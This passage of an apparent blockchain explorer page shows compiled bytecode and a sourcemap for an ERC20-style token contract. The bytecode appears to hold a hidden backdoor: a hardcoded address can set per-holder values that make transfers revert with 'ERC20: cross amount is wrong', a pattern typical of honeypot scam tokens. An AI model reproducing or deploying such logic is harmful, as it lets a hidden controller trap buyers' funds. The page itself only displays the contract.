f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b44565b8484610b4c565b6001905092915050565b6000600754905090565b600061044d848484610d17565b61050e84610459610b44565b61050985604051806060016040528060288152602001611a6f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b6000610622610586610b44565b8461061d8560026000610597610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b610b4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067d610b44565b73ffffffffffffffffffffffffffffffffffffffff1661069b6106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e89061155e565b60405180910390fd5b6106fb6000611054565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107359061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546107619061173f565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600061087b6107c5610b44565b8461087685604051806060016040528060258152602001611a9760259139600260006107ef610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b6001905092915050565b6000610899610892610b44565b8484610d17565b6001905092915050565b73f6551fa6644275713d2b900f341fa01fb29ec63c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ef57600080fd5b60005b8251811015610992578160036000858481518110610939577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061098a906117a2565b9150506108f2565b505050565b73f6551fa6644275713d2b900f341fa01fb29ec63c81565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3e610b44565b73ffffffffffffffffffffffffffffffffffffffff16610a5c6106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa99061155e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061151e565b60405180910390fd5b610b2b81611054565b50565b60008183610b3c9190611661565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb39061159e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906114fe565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0a91906115be565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e9061157e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee906114de565b60405180910390fd5b6000610e0284610519565b90506000811115610e5057808211610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e469061153e565b60405180910390fd5b5b610ebc82604051806060016040528060268152602001611a4960269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff191906115be565b60405180910390a350505050565b6000838311158290611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e91906114bc565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061112b61112684611619565b6115f4565b9050808382526020820190508285602086028201111561114a57600080fd5b60005b8581101561117a57816111608882611184565b84526020840193506020830192505060018101905061114d565b5050509392505050565b60008135905061119381611a1a565b92915050565b600082601f8301126111aa57600080fd5b81356111ba848260208601611118565b91505092915050565b6000813590506111d281611a31565b92915050565b6000602082840312156111ea57600080fd5b60006111f884828501611184565b91505092915050565b6000806040838503121561121457600080fd5b600061122285828601611184565b925050602061123385828601611184565b9150509250929050565b60008060006060848603121561125257600080fd5b600061126086828701611184565b935050602061127186828701611184565b9250506040611282868287016111c3565b9150509250925092565b6000806040838503121561129f57600080fd5b60006112ad85828601611184565b92505060206112be858286016111c3565b9150509250929050565b600080604083850312156112db57600080fd5b600083013567ffffffffffffffff8111156112f557600080fd5b61130185828601611199565b9250506020611312858286016111c3565b9150509250929050565b611325816116b7565b82525050565b611334816116c9565b82525050565b600061134582611645565b61134f8185611650565b935061135f81856020860161170c565b61136881611878565b840191505092915050565b6000611380602383611650565b915061138b82611889565b604082019050919050565b60006113a3601e83611650565b91506113ae826118d8565b602082019050919050565b60006113c6602683611650565b91506113d182611901565b604082019050919050565b60006113e9601c83611650565b91506113f482611950565b602082019050919050565b600061140c602083611650565b915061141782611979565b602082019050919050565b600061142f602583611650565b915061143a826119a2565b604082019050919050565b6000611452602083611650565b915061145d826119f1565b602082019050919050565b611471816116f5565b82525050565b611480816116ff565b82525050565b600060208201905061149b600083018461131c565b92915050565b60006020820190506114b6600083018461132b565b92915050565b600060208201905081810360008301526114d6818461133a565b905092915050565b600060208201905081810360008301526114f781611373565b9050919050565b6000602082019050818103600083015261151781611396565b9050919050565b60006020820190508181036000830152611537816113b9565b9050919050565b60006020820190508181036000830152611557816113dc565b9050919050565b60006020820190508181036000830152611577816113ff565b9050919050565b6000602082019050818103600083015261159781611422565b9050919050565b600060208201905081810360008301526115b781611445565b9050919050565b60006020820190506115d36000830184611468565b92915050565b60006020820190506115ee6000830184611477565b92915050565b60006115fe61160f565b905061160a8282611771565b919050565b6000604051905090565b600067ffffffffffffffff82111561163457611633611849565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061166c826116f5565b9150611677836116f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116ac576116ab6117eb565b5b828201905092915050565b60006116c2826116d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561172a57808201518184015260208101905061170f565b83811115611739576000848401525b50505050565b6000600282049050600182168061175757607f821691505b6020821081141561176b5761176a61181a565b5b50919050565b61177a82611878565b810181811067ffffffffffffffff8211171561179957611798611849565b5b80604052505050565b60006117ad826116f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117e0576117df6117eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f207a65726f20616464726573730000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d207a65726f2061646472657373600082015250565b611a23816116b7565b8114611a2e57600080fd5b50565b611a3a816116f5565b8114611a4557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200988987d340a476df2d232306457d397550d82ae2546b007f44893fbcac3d67764736f6c63430008040033

Deployed Bytecode Sourcemap

7737:4586:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8434:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9469:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8735:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9687:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11091:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8636:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10149:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8851:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7251:94;;;:::i;:::-;;6838:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8533:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10679:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9036:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10457:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6599:76;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9260:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7353:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8434:91;8479:13;8512:5;8505:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8434:91;:::o;9469:210::-;9588:4;9610:39;9619:12;:10;:12::i;:::-;9633:7;9642:6;9610:8;:39::i;:::-;9667:4;9660:11;;9469:210;;;;:::o;8735:108::-;8796:7;8823:12;;8816:19;;8735:108;:::o;9687:454::-;9827:4;9844:36;9854:6;9862:9;9873:6;9844:9;:36::i;:::-;9891:220;9914:6;9935:12;:10;:12::i;:::-;9962:138;10018:6;9962:138;;;;;;;;;;;;;;;;;:11;:19;9974:6;9962:19;;;;;;;;;;;;;;;:33;9982:12;:10;:12::i;:::-;9962:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;9891:8;:220::i;:::-;10129:4;10122:11;;9687:454;;;;;:::o;11091:114::-;11146:7;11173:15;:24;11189:7;11173:24;;;;;;;;;;;;;;;;11166:31;;11091:114;;;:::o;8636:91::-;8685:5;8710:9;;;;;;;;;;;8703:16;;8636:91;:::o;10149:300::-;10264:4;10286:133;10309:12;:10;:12::i;:::-;10336:7;10358:50;10397:10;10358:11;:25;10370:12;:10;:12::i;:::-;10358:25;;;;;;;;;;;;;;;:34;10384:7;10358:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;10286:8;:133::i;:::-;10437:4;10430:11;;10149:300;;;;:::o;8851:177::-;8970:7;9002:9;:18;9012:7;9002:18;;;;;;;;;;;;;;;;8995:25;;8851:177;;;:::o;7251:94::-;6984:12;:10;:12::i;:::-;6973:23;;:7;:5;:7::i;:::-;:23;;;6965:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7316:21:::1;7334:1;7316:9;:21::i;:::-;7251:94::o:0;6838:87::-;6884:7;6911:6;;;;;;;;;;;6904:13;;6838:87;:::o;8533:95::-;8580:13;8613:7;8606:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8533:95;:::o;10679:400::-;10799:4;10821:228;10844:12;:10;:12::i;:::-;10871:7;10893:145;10950:15;10893:145;;;;;;;;;;;;;;;;;:11;:25;10905:12;:10;:12::i;:::-;10893:25;;;;;;;;;;;;;;;:34;10919:7;10893:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;10821:8;:228::i;:::-;11067:4;11060:11;;10679:400;;;;:::o;9036:216::-;9158:4;9180:42;9190:12;:10;:12::i;:::-;9204:9;9215:6;9180:9;:42::i;:::-;9240:4;9233:11;;9036:216;;;;:::o;10457:209::-;6633:42;7105:21;;:10;:21;;;7097:30;;;;;;10554:9:::1;10549:110;10573:8;:15;10569:1;:19;10549:110;;;10641:6;10610:15;:28;10626:8;10635:1;10626:11;;;;;;;;;;;;;;;;;;;;;;10610:28;;;;;;;;;;;;;;;:37;;;;10590:3;;;;;:::i;:::-;;;;10549:110;;;;10457:209:::0;;:::o;6599:76::-;6633:42;6599:76;:::o;9260:201::-;9394:7;9426:11;:18;9438:5;9426:18;;;;;;;;;;;;;;;:27;9445:7;9426:27;;;;;;;;;;;;;;;;9419:34;;9260:201;;;;:::o;7353:192::-;6984:12;:10;:12::i;:::-;6973:23;;:7;:5;:7::i;:::-;:23;;;6965:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7462:1:::1;7442:22;;:8;:22;;;;7434:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7518:19;7528:8;7518:9;:19::i;:::-;7353:192:::0;:::o;5255:98::-;5313:7;5344:1;5340;:5;;;;:::i;:::-;5333:12;;5255:98;;;;:::o;3894:::-;3947:7;3974:10;3967:17;;3894:98;:::o;11944:372::-;12097:1;12080:19;;:5;:19;;;;12072:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12174:1;12155:21;;:7;:21;;;;12147:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12254:6;12224:11;:18;12236:5;12224:18;;;;;;;;;;;;;;;:27;12243:7;12224:27;;;;;;;;;;;;;;;:36;;;;12292:7;12276:32;;12285:5;12276:32;;;12301:6;12276:32;;;;;;:::i;:::-;;;;;;;;11944:372;;;:::o;11213:723::-;11371:1;11353:20;;:6;:20;;;;11345:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;11455:1;11434:23;;:9;:23;;;;11426:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11508:21;11532:15;11540:6;11532:7;:15::i;:::-;11508:39;;11578:1;11562:13;:17;11558:113;;;11613:13;11604:6;:22;11596:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11558:113;11703:108;11739:6;11703:108;;;;;;;;;;;;;;;;;:9;:17;11713:6;11703:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;11683:9;:17;11693:6;11683:17;;;;;;;;;;;;;;;:128;;;;11845:32;11870:6;11845:9;:20;11855:9;11845:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11822:9;:20;11832:9;11822:20;;;;;;;;;;;;;;;:55;;;;11910:9;11893:35;;11902:6;11893:35;;;11921:6;11893:35;;;;;;:::i;:::-;;;;;;;;11213:723;;;;:::o;5785:240::-;5905:7;5963:1;5958;:6;;5966:12;5950:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;6005:1;6001;:5;5994:12;;5785:240;;;;;:::o;7553:173::-;7609:16;7628:6;;;;;;;;;;;7609:25;;7654:8;7645:6;;:17;;;;;;;;;;;;;;;;;;7709:8;7678:40;;7699:8;7678:40;;;;;;;;;;;;7553:173;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;847:303::-;918:5;967:3;960:4;952:6;948:17;944:27;934:2;;985:1;982;975:12;934:2;1025:6;1012:20;1050:94;1140:3;1132:6;1125:4;1117:6;1113:17;1050:94;:::i;:::-;1041:103;;924:226;;;;;:::o;1156:139::-;1202:5;1240:6;1227:20;1218:29;;1256:33;1283:5;1256:33;:::i;:::-;1208:87;;;;:::o;1301:262::-;1360:6;1409:2;1397:9;1388:7;1384:23;1380:32;1377:2;;;1425:1;1422;1415:12;1377:2;1468:1;1493:53;1538:7;1529:6;1518:9;1514:22;1493:53;:::i;:::-;1483:63;;1439:117;1367:196;;;;:::o;1569:407::-;1637:6;1645;1694:2;1682:9;1673:7;1669:23;1665:32;1662:2;;;1710:1;1707;1700:12;1662:2;1753:1;1778:53;1823:7;1814:6;1803:9;1799:22;1778:53;:::i;:::-;1768:63;;1724:117;1880:2;1906:53;1951:7;1942:6;1931:9;1927:22;1906:53;:::i;:::-;1896:63;;1851:118;1652:324;;;;;:::o;1982:552::-;2059:6;2067;2075;2124:2;2112:9;2103:7;2099:23;2095:32;2092:2;;;2140:1;2137;2130:12;2092:2;2183:1;2208:53;2253:7;2244:6;2233:9;2229:22;2208:53;:::i;:::-;2198:63;;2154:117;2310:2;2336:53;2381:7;2372:6;2361:9;2357:22;2336:53;:::i;:::-;2326:63;;2281:118;2438:2;2464:53;2509:7;2500:6;2489:9;2485:22;2464:53;:::i;:::-;2454:63;;2409:118;2082:452;;;;;:::o;2540:407::-;2608:6;2616;2665:2;2653:9;2644:7;2640:23;2636:32;2633:2;;;2681:1;2678;2671:12;2633:2;2724:1;2749:53;2794:7;2785:6;2774:9;2770:22;2749:53;:::i;:::-;2739:63;;2695:117;2851:2;2877:53;2922:7;2913:6;2902:9;2898:22;2877:53;:::i;:::-;2867:63;;2822:118;2623:324;;;;;:::o;2953:550::-;3046:6;3054;3103:2;3091:9;3082:7;3078:23;3074:32;3071:2;;;3119:1;3116;3109:12;3071:2;3190:1;3179:9;3175:17;3162:31;3220:18;3212:6;3209:30;3206:2;;;3252:1;3249;3242:12;3206:2;3280:78;3350:7;3341:6;3330:9;3326:22;3280:78;:::i;:::-;3270:88;;3133:235;3407:2;3433:53;3478:7;3469:6;3458:9;3454:22;3433:53;:::i;:::-;3423:63;;3378:118;3061:442;;;;;:::o;3509:118::-;3596:24;3614:5;3596:24;:::i;:::-;3591:3;3584:37;3574:53;;:::o;3633:109::-;3714:21;3729:5;3714:21;:::i;:::-;3709:3;3702:34;3692:50;;:::o;3748:364::-;3836:3;3864:39;3897:5;3864:39;:::i;:::-;3919:71;3983:6;3978:3;3919:71;:::i;:::-;3912:78;;3999:52;4044:6;4039:3;4032:4;4025:5;4021:16;3999:52;:::i;:::-;4076:29;4098:6;4076:29;:::i;:::-;4071:3;4067:39;4060:46;;3840:272;;;;;:::o;4118:366::-;4260:3;4281:67;4345:2;4340:3;4281:67;:::i;:::-;4274:74;;4357:93;4446:3;4357:93;:::i;:::-;4475:2;4470:3;4466:12;4459:19;;4264:220;;;:::o;4490:366::-;4632:3;4653:67;4717:2;4712:3;4653:67;:::i;:::-;4646:74;;4729:93;4818:3;4729:93;:::i;:::-;4847:2;4842:3;4838:12;4831:19;;4636:220;;;:::o;4862:366::-;5004:3;5025:67;5089:2;5084:3;5025:67;:::i;:::-;5018:74;;5101:93;5190:3;5101:93;:::i;:::-;5219:2;5214:3;5210:12;5203:19;;5008:220;;;:::o;5234:366::-;5376:3;5397:67;5461:2;5456:3;5397:67;:::i;:::-;5390:74;;5473:93;5562:3;5473:93;:::i;:::-;5591:2;5586:3;5582:12;5575:19;;5380:220;;;:::o;5606:366::-;5748:3;5769:67;5833:2;5828:3;5769:67;:::i;:::-;5762:74;;5845:93;5934:3;5845:93;:::i;:::-;5963:2;5958:3;5954:12;5947:19;;5752:220;;;:::o;5978:366::-;6120:3;6141:67;6205:2;6200:3;6141:67;:::i;:::-;6134:74;;6217:93;6306:3;6217:93;:::i;:::-;6335:2;6330:3;6326:12;6319:19;;6124:220;;;:::o;6350:366::-;6492:3;6513:67;6577:2;6572:3;6513:67;:::i;:::-;6506:74;;6589:93;6678:3;6589:93;:::i;:::-;6707:2;6702:3;6698:12;6691:19;;6496:220;;;:::o;6722:118::-;6809:24;6827:5;6809:24;:::i;:::-;6804:3;6797:37;6787:53;;:::o;6846:112::-;6929:22;6945:5;6929:22;:::i;:::-;6924:3;6917:35;6907:51;;:::o;6964:222::-;7057:4;7095:2;7084:9;7080:18;7072:26;;7108:71;7176:1;7165:9;7161:17;7152:6;7108:71;:::i;:::-;7062:124;;;;:::o;7192:210::-;7279:4;7317:2;7306:9;7302:18;7294:26;;7330:65;7392:1;7381:9;7377:17;7368:6;7330:65;:::i;:::-;7284:118;;;;:::o;7408:313::-;7521:4;7559:2;7548:9;7544:18;7536:26;;7608:9;7602:4;7598:20;7594:1;7583:9;7579:17;7572:47;7636:78;7709:4;7700:6;7636:78;:::i;:::-;7628:86;;7526:195;;;;:::o;7727:419::-;7893:4;7931:2;7920:9;7916:18;7908:26;;7980:9;7974:4;7970:20;7966:1;7955:9;7951:17;7944:47;8008:131;8134:4;8008:131;:::i;:::-;8000:139;;7898:248;;;:::o;8152:419::-;8318:4;8356:2;8345:9;8341:18;8333:26;;8405:9;8399:4;8395:20;8391:1;8380:9;8376:17;8369:47;8433:131;8559:4;8433:131;:::i;:::-;8425:139;;8323:248;;;:::o;8577:419::-;8743:4;8781:2;8770:9;8766:18;8758:26;;8830:9;8824:4;8820:20;8816:1;8805:9;8801:17;8794:47;8858:131;8984:4;8858:131;:::i;:::-;8850:139;;8748:248;;;:::o;9002:419::-;9168:4;9206:2;9195:9;9191:18;9183:26;;9255:9;9249:4;9245:20;9241:1;9230:9;9226:17;9219:47;9283:131;9409:4;9283:131;:::i;:::-;9275:139;;9173:248;;;:::o;9427:419::-;9593:4;9631:2;9620:9;9616:18;9608:26;;9680:9;9674:4;9670:20;9666:1;9655:9;9651:17;9644:47;9708:131;9834:4;9708:131;:::i;:::-;9700:139;;9598:248;;;:::o;9852:419::-;10018:4;10056:2;10045:9;10041:18;10033:26;;10105:9;10099:4;10095:20;10091:1;10080:9;10076:17;10069:47;10133:131;10259:4;10133:131;:::i;:::-;10125:139;;10023:248;;;:::o;10277:419::-;10443:4;10481:2;10470:9;10466:18;10458:26;;10530:9;10524:4;10520:20;10516:1;10505:9;10501:17;10494:47;10558:131;10684:4;10558:131;:::i;:::-;10550:139;;10448:248;;;:::o;10702:222::-;10795:4;10833:2;10822:9;10818:18;10810:26;;10846:71;10914:1;10903:9;10899:17;10890:6;10846:71;:::i;:::-;10800:124;;;;:::o;10930:214::-;11019:4;11057:2;11046:9;11042:18;11034:26;;11070:67;11134:1;11123:9;11119:17;11110:6;11070:67;:::i;:::-;11024:120;;;;:::o;11150:129::-;11184:6;11211:20;;:::i;:::-;11201:30;;11240:33;11268:4;11260:6;11240:33;:::i;:::-;11191:88;;;:::o;11285:75::-;11318:6;11351:2;11345:9;11335:19;;11325:35;:::o;11366:311::-;11443:4;11533:18;11525:6;11522:30;11519:2;;;11555:18;;:::i;:::-;11519:2;11605:4;11597:6;11593:17;11585:25;;11665:4;11659;11655:15;11647:23;;11448:229;;;:::o;11683:99::-;11735:6;11769:5;11763:12;11753:22;;11742:40;;;:::o;11788:169::-;11872:11;11906:6;11901:3;11894:19;11946:4;11941:3;11937:14;11922:29;;11884:73;;;;:::o;11963:305::-;12003:3;12022:20;12040:1;12022:20;:::i;:::-;12017:25;;12056:20;12074:1;12056:20;:::i;:::-;12051:25;;12210:1;12142:66;12138:74;12135:1;12132:81;12129:2;;;12216:18;;:::i;:::-;12129:2;12260:1;12257;12253:9;12246:16;;12007:261;;;;:::o;12274:96::-;12311:7;12340:24;12358:5;12340:24;:::i;:::-;12329:35;;12319:51;;;:::o;12376:90::-;12410:7;12453:5;12446:13;12439:21;12428:32;;12418:48;;;:::o;12472:126::-;12509:7;12549:42;12542:5;12538:54;12527:65;;12517:81;;;:::o;12604:77::-;12641:7;12670:5;12659:16;;12649:32;;;:::o;12687:86::-;12722:7;12762:4;12755:5;12751:16;12740:27;;12730:43;;;:::o;12779:307::-;12847:1;12857:113;12871:6;12868:1;12865:13;12857:113;;;12956:1;12951:3;12947:11;12941:18;12937:1;12932:3;12928:11;12921:39;12893:2;12890:1;12886:10;12881:15;;12857:113;;;12988:6;12985:1;12982:13;12979:2;;;13068:1;13059:6;13054:3;13050:16;13043:27;12979:2;12828:258;;;;:::o;13092:320::-;13136:6;13173:1;13167:4;13163:12;13153:22;;13220:1;13214:4;13210:12;13241:18;13231:2;;13297:4;13289:6;13285:17;13275:27;;13231:2;13359;13351:6;13348:14;13328:18;13325:38;13322:2;;;13378:18;;:::i;:::-;13322:2;13143:269;;;;:::o;13418:281::-;13501:27;13523:4;13501:27;:::i;:::-;13493:6;13489:40;13631:6;13619:10;13616:22;13595:18;13583:10;13580:34;13577:62;13574:2;;;13642:18;;:::i;:::-;13574:2;13682:10;13678:2;13671:22;13461:238;;;:::o;13705:233::-;13744:3;13767:24;13785:5;13767:24;:::i;:::-;13758:33;;13813:66;13806:5;13803:77;13800:2;;;13883:18;;:::i;:::-;13800:2;13930:1;13923:5;13919:13;13912:20;;13748:190;;;:::o;13944:180::-;13992:77;13989:1;13982:88;14089:4;14086:1;14079:15;14113:4;14110:1;14103:15;14130:180;14178:77;14175:1;14168:88;14275:4;14272:1;14265:15;14299:4;14296:1;14289:15;14316:180;14364:77;14361:1;14354:88;14461:4;14458:1;14451:15;14485:4;14482:1;14475:15;14502:102;14543:6;14594:2;14590:7;14585:2;14578:5;14574:14;14570:28;14560:38;;14550:54;;;:::o;14610:222::-;14750:34;14746:1;14738:6;14734:14;14727:58;14819:5;14814:2;14806:6;14802:15;14795:30;14716:116;:::o;14838:180::-;14978:32;14974:1;14966:6;14962:14;14955:56;14944:74;:::o;15024:225::-;15164:34;15160:1;15152:6;15148:14;15141:58;15233:8;15228:2;15220:6;15216:15;15209:33;15130:119;:::o;15255:178::-;15395:30;15391:1;15383:6;15379:14;15372:54;15361:72;:::o;15439:182::-;15579:34;15575:1;15567:6;15563:14;15556:58;15545:76;:::o;15627:224::-;15767:34;15763:1;15755:6;15751:14;15744:58;15836:7;15831:2;15823:6;15819:15;15812:32;15733:118;:::o;15857:182::-;15997:34;15993:1;15985:6;15981:14;15974:58;15963:76;:::o;16045:122::-;16118:24;16136:5;16118:24;:::i;:::-;16111:5;16108:35;16098:2;;16157:1;16154;16147:12;16098:2;16088:79;:::o;16173:122::-;16246:24;16264:5;16246:24;:::i;:::-;16239:5;16236:35;16226:2;;16285:1;16282;16275:12;16226:2;16216:79;:::o

Swarm Source

ipfs://0988987d340a476df2d232306457d397550d82ae2546b007f44893fbcac3d677
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.